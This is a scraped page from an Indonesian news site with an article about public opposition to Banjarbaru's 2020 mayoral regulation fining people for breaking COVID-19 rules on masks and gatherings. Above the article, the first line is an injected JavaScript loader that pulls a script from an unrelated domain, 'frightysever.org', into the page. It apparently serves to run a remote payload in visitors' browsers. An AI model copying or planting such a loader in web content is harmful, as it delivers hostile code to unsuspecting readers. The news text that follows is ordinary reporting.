(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Perwali Banjarbaru tentang Protokol Kesehatan Masih Tuai Kontra


KANALKALIMANTAN.COM, BANJARBARU – Pro dan kontra terhadap terhadap Peraturan Wali Kota (Perwali) Nomor 20 tahun 2020, yang terbit pada 9 Juli lalu, terus bermunculan. Pasalnya pada perwali itu diatur tentang masyarakat yang melanggar bisa saja dikenakan sanksi sosial atau denda mencapai Rp 250 ribu.

Seperti halnya yang diutarakan Rama (24), warga Kecamatan Banjarbaru Utara, yang tengah berkumpul bersama teman-temannya, di kawasan Minggu Raya.

“Kalau saya tidak setuju, mas. Ini saya kumpul dengan dua teman saya. Tapi karena ini tempat umum, jadi banyak juga yang bersantai di sini. Jadinya, di satu meja ini kelihatan banyak kan? lebih dari lima orang. Nah, Apa kami salah? Kami makai masker kok. Bawa handsanitizer juga. Masa dikenakan denda,” katanya kepada kanalkalimantan.com.

Begitu pula dirasakan oleh salah satu pedagang di Pasar Banjarbaru, Arif (31), yang mengaku bahwa sanksi denda sangat memberatkan bagi dia yang tergolong ekonomi menengah ke bawah.

 

“Penghasilan sehari-hari saya tidak seberapa. Ini kalau saya kena denda, bingung mau bayarnya gimana. Saya juga tidak punya stok masker, mas,” keluh dia.
Ancaman sanksi bagi masyarakat di Kota Banjarbaru yang tidak mematuhi aturan protokol kesehatan Covid-19, mulai disosialisasikan.

Infografis: Kanalkalimantan/yuda

Sebagaimana yang tertera dalam Peraturan Wali Kota (Perwali) Nomor 20 tahun 2020, yang terbit pada 9 Juli lalu, masyarakat yang melanggar bisa saja dikenakan sanksi sosial atau denda mencapai Rp 250 ribu.

Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru yang ditunjuk sebagai penegak aturan tersebut, kini gencar melakukan sosialisasi ke lingkungan masyarakat. Seperti halnya, yang dilakukan di Lapangan Murjani, kawasan pusat berkumpulnya masyarakat Banjarbaru.

Baca juga : Hana Hanifah Siap Jika Dipanggil Polisi Lagi

Dalam hal ini, sosialisasi tentang ancaman sanski pelanggaran protokol kesehatan Covid-19 disampaikan kepada para pedagang kaki lima -PKL- maupun masyarakat yang tengah beraktivitas di kawasan Lapangan Murjani.

“Kami menyosialisasikan tentang surat edaran Perwali tentang pengenanaan sanksi terhadap pelanggaran protokol kesehatan Covid-19. Sosialisasi ini akan terus kami lakukan hingga beberapa hari ke depan. Karena Senin mendatang, aturan ini mulai diberlakukan,” kata Kasatpol PP Banjarbaru, Marhain Rahman, Rabu (15/7/2020).

Sesuai dengan pasal yang tertera dalam Perwali tersebut, sanksi dikenakan atas dua pelanggaran prokol kesehatan Covid-19. Yakni, masyarakat yang tidak menggunakan masker saat berada di tempat umum, dan kelompoklompok masyarakat yang berkumpul melakukan kegiatan dengan jumlah lebih dari lima orang saat berada di tempat umum.

Tidak tanggung-tanggung, bagi masyarakat yang melakukan salah satu dari kedua pelanggaran tersebut terancam dikenakan sanksi sosial dan denda.

Untuk sanksi sosial, pelanggar akan disuruh membersikan sarana fasilitas umum dengan menggunakan rompi. Sedangkan, untuk sanksi terberat, pelanggar terancam harus membayar denda administratif berkisar dari Rp 100 ribu – Rp 250 ribu.

Baca juga: 5 Foto Seksi Hana Hanifah Dipenuhi Komentar Nyinyir Netizen

Memang diakui Kasatpol PP Banjarbaru, saat diberlakukannya Perwali ini pada pekan depan, pihaknya tak akan langsung menerapkan sanksi sosial maupun denda kepada masyarakat yang melanggar. Pasalnya, dirinya menilai ada variabel atau kriteria tertentu untuk memberikan dua sanksi tersebut kepada para pelanggar.

“Pasti ada kriteria khusus untuk memberikan sanksi sosial dan denda administratif ini. Mungkin saja kedua sanksi ini diberikan kepada masyarakat atau kelompok yang selalu melanggar aturan berulang-ulang atau sebut saja mereka yang ngeyel. Tapi ini hanya penilaian saya, sebab untuk teknis pelaksanaannya akan dikaji lebih dalam pada Kamis besok dengan mengundang aparat penegak hukum,” lanjut Marhain.

Baca juga: Diskotik Tak Boleh Buka Pub dan Karaoke Yes, Ini Penjelasan Kadisbudpar Banjarmasin

Sebelumnya, anggota DPRD Banjarbaru atau yang kerap disebut sebagai wakil rakyat pun angkat suara terhadap kebijakan ini. Ketua DPRD Banjarbaru, Fadliansyah Akbar, mengungkapkan ada beberapa poin di Perwali yang dinilainya cukup memberatkan. Salah satunya, bagaimana kriteria pelanggaran masyarakat yang berkumpul lebih dari lima orang di tempat atau fasilitas umum.

“Ini maksudnya seperti apa. Apakah berkumpul itu semua disamakan. Harus dipertegas klasifikasinya, jangan dipukul rata semuanya,” ucap dia. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Dhani


Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

2 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

3 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

6 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

9 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

19 jam ago

This website uses cookies.